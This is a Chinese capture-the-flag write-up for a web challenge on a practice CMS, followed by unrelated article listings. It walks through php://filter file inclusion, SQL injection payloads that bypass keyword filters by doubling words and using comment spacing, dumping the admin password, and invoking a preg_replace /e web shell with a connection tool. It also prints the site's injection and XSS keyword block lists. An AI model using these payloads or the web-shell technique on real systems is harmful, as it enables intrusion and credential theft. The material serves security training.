web-综合题2
地址
0x01
很有意思的一题综合题,确实包含的内容比较多
打开页面
把能打开的都打开,能看的都看一下
几个重点的信息
- 一段hash e045e454c18ca8a4415cfeddd1f7375eb0595c71ac00a0e4758761e1cc83f2c565bb09bfd94d1f6c2ffc0fb9849203a14af723b532cbf44a2d6f41b0dee4e834
一段base64 MzAzMTY3YWQxZDlmZmUyNGIxOWNjZWI1OWY4NzA3ZmU=- 留言搜索跳转到 so.php
点击尾页跳转 index.php?page=1
留言板 preview.php
提交留言 say.php?nice=213&usersay=123&Submit=确认提交
并告诉我们XSS不一定成功,以及查看源码有惊喜- 末尾有cms说明
config.php:存放数据库信息,移植此CMS时要修改- index.php:主页文件
- passencode.php:Funny公司自写密码加密算法库
- say.php:用于接收和处理用户留言请求
- sm.txt:本CMS的说明文档
- 以及admin的表结构
create table admin (- id integer,
- username text,
- userpass text,
- )
0x02
CMS说明的时候,URL为 about.php?file=sm.txt,file字眼一般有文件包含的漏洞(常见的套路),尝试一下用伪协议来读取其他信息读取about.php
http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=about.php
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <?php
- $file=$_GET['file'];
- if($file=="" || strstr($file,'config.php')){
- echo "file参数不能为空!";
- exit();
- }else{
- $cut=strchr($file,"loginxlcteam");
- if($cut==false){
- $data=file_get_contents($file);
- $date=htmlspecialchars($data);
- echo $date;
- }else{
- echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
- }
- }
发现代码有一个loginxlcteam,尝试输入是一个后台登入
http://cms.nuptzj.cn/loginxlcteam/
读取so.php
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>搜索留言</title>
- </head>
- <body>
- <center>
- <div id="say" name="say" align="left" style="width:1024px">
- <?php
- if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
- echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
- exit();
- }
- $id=$_POST['soid'];
- include 'config.php';
- include 'antiinject.php';
- include 'antixss.php';
- $id=antiinject($id);
- $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
- mysql_select_db($db_name,$con);
- $id=mysql_real_escape_string($id);
- $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
- $rs=mysql_fetch_array($result);
- echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';
- mysql_free_result($result);
- mysql_free_result($file);
- mysql_close($con);
- ?>
- </div>
- </center>
- </body>
- </html>
获取信息,得到了sql查询语句,同时还包含三个文件config.php、antiinject.php、antixss.php
读取antixss.php文件
- <?php
- function antixss($content){
- preg_match("/(.*)\[a\](.*)\[\/a\](.*)/",$content,$url);
- $key=array("(",")","&","\\","<",">","'","%28","%29"," on","data","src","eval","unescape","innerHTML","document","appendChild","createElement","write","String","setTimeout","cookie");//因为太菜,很懒,所以。。。(过滤规则来自Mramydnei)
- $re=$url[2];
- if(count($url)==0){
- return htmlspecialchars($content);
- }else{
- for($i=0;$i<=count($key);$i++){
- $re=str_replace($key[$i], '_',$re);
- }
- return htmlspecialchars($url[1],ENT_QUOTES).'<a href="'.$re.'">'.$re.'</a>'.htmlspecialchars($url[3],ENT_QUOTES);
- }
- }
- ?>
基本把XSS过滤光了
读取antiinject.php config.php无法读取
- <?php
- function antiinject($content){
- $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
- $info=strtolower($content);
- for($i=0;$i<=count($keyword);$i++){
- $info=str_replace($keyword[$i], '',$info);
- }
- return $info;
- }
- ?>
sql注入也基本过滤光了,但是这是把关键字替换为空,可以用双写来进行绕过,空格可以用/* */来绕过,注意一下so.php中代码中需要把浏览器变成 'Xlcteam Browser'才能执行
0x03
通过sql注入,获取密码登入后台
构造payload获取显示列,抓包改浏览器代理Xlcteam Browser才能执行
- soid=1/**/ununionion/**/seleselectct/**/1,2,3,4
显示位是2和3
构造payload直接获得密码
soid=-1 union select 1,2,group_concat(userpass),4 from admin
变形后的payload
- soid=-1/**/uunionnion/**/sselectelect/**/1,2,group_concat(userppassass),4/**/frfromom/**/aadmindmin
得到一段ascll码
解码后是fuckruntu
0x04
账号admin 密码fuckruntu,登入成功
原网站有一句话木马,先看看一句话木马的源码
http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=xlcteam.php
- <?php
- $e = $_REQUEST['www'];
- $arr = array($_POST['wtf'] => '|.*|e',);
- array_walk($arr, $e, '');
- ?>
这里利用一个preg_replace()函数的漏洞配合着上面的array_walk函数
preg_replace( pattern , replacement , subject ) :
当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行
于是构造payload
http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
然后小马的密码是wtf
这里用cknife连接
获得flag
web-综合题2的更多相关文章
- 前端面试题集锦及答案解析--HTML、 HTTP、web综合问题
前端需要注意哪些SEO 合理的title.description.keywords:搜索对着三项的权重逐个减小,title值强调重点即可,重要关键词出现不要超过2次,而且要靠前,不同页面title要有 ...
- web综合案例04
web综合案例02 web综合案例02 web综合案例04 待补充 ... ...
- web综合案例03
web综合案例03 web综合案例03 web综合案例03 web综合案例03 ... 待复习
- web综合案例02
web综合案例02 web综合案例02 web综合案例02 ... ... 内容待添加
- web综合案例01
web综合案例01 ... .... 内容待添加
- 3. 关于sql注入的综合题
关于sql注入的综合题 ----------南京邮电大学ctf : http://cms.nuptzj.cn/ 页面上也给了好多信息: 根据这个sm. ...
- 攻防世界Web刷题记录(进阶区)
攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...
- 攻防世界Web刷题记录(新手区)
攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...
- 攻防世界web进阶题—unfinish
攻防世界web进阶题-unfinish 1.看一下题目提示SQL 2.打开题目看一下源码,没有问题 3.查一下网站的组成:php+Apache/2.4.7+Ubuntu 4.扫一下目录,扫到一个注册页 ...
- 攻防世界web进阶题—bug
攻防世界web进阶题-bug 1.打开题目看一下源码,没有问题 2.扫一下目录,没有问题 3.查一下网站的组成:php+Apache+Ubuntu 只有登录界面 这里可以可以想到:爆破.万能密码.进行 ...
随机推荐
- s3c2440裸机-UART编程(一、UART硬件介绍及传输原理)
1.uart硬件介绍 UART的全称是Universal Asynchronous Receiver and Transmitter(异步收发器). uart主要用于: 1.打印调试 2.数据传输 串 ...
- DOS下查看驱动版本号
1.进入目录:C:\Program Files\NVIDIA Corporation\NVISMI 2.输入命令nvidia-smi 可以看到我的显卡驱动版本号为431.60
- 扩展KMP笔记
KMP能计算一个字符串的每个位置前最长公共前缀后缀 扩展KMP可以用来计算两个字符串间的最长公共前缀后缀的…… 不过为了计算这个需要绕些弯路 已知字符串$S$和$P$,$S$的长度为$n$,$P$的长 ...
- 记MacOs视频mov与mp4格式转换问题解决
综述 记录了mov转mp4格式的方法 记录了自己是多蠢 问题背景 这学期选修的<工程英语视听说>课,需要提交一段口语考试视频,于是乎: 带着我的大疆Mavic Mini 和iPad Pro ...
- CSS旋转动画和动画的拼接
旋转动画 第一个样式: @keyframes rotating { from { transform: rotate(0deg); } to { transform: rotate(360deg); ...
- HTML连载52-网易注册界面之上部完成、中部初探
一.看一下注释即可,都是前面学到的知识,然后进行整合完成网页的制作,未完待续,这个网易界面跨度可大三天. <!DOCTYPE html> <html lang="en&qu ...
- 1+x证书web前端开发jquery专项练习测试题
javascript程序设计-题库 1.下面哪一种不属于Jquery的选择器? A. 基本选择器 B. 层次选择器 C. 表单选择器 D. 节点选择器 答案: D 2.如果需要匹配包含文本的元素,用下 ...
- js的事件循环(Event Loop)
(本文从掘金小册整理) 首先介绍一下几个概念 进程与线程 相信大家经常会听到 JS 是单线程执行的,但是你是否疑惑过什么是线程? 讲到线程,那么肯定也得说一下进程.本质上来说,两个名词都是 CPU 工 ...
- 关于Unity中AI随机巡逻障碍物预判与快速运动时物理穿透的思考
如果不想用Unity的导航系统,很多时候就要解决如何预判前进路径中的障碍物问题,之前也看过一些非常经典的寻路算法例如AStar寻路,虽然也可实现功能,但总感觉有些小题大做.寻路算法大多数都是为了得出最 ...
- Java队列和定时器Timer
一: Queue详解 Queue: 基本上,一个队列就是一个先入先出(FIFO)的数据结构 Queue接口与List.Set同一级别,都是继承了Collection接口.Linked ...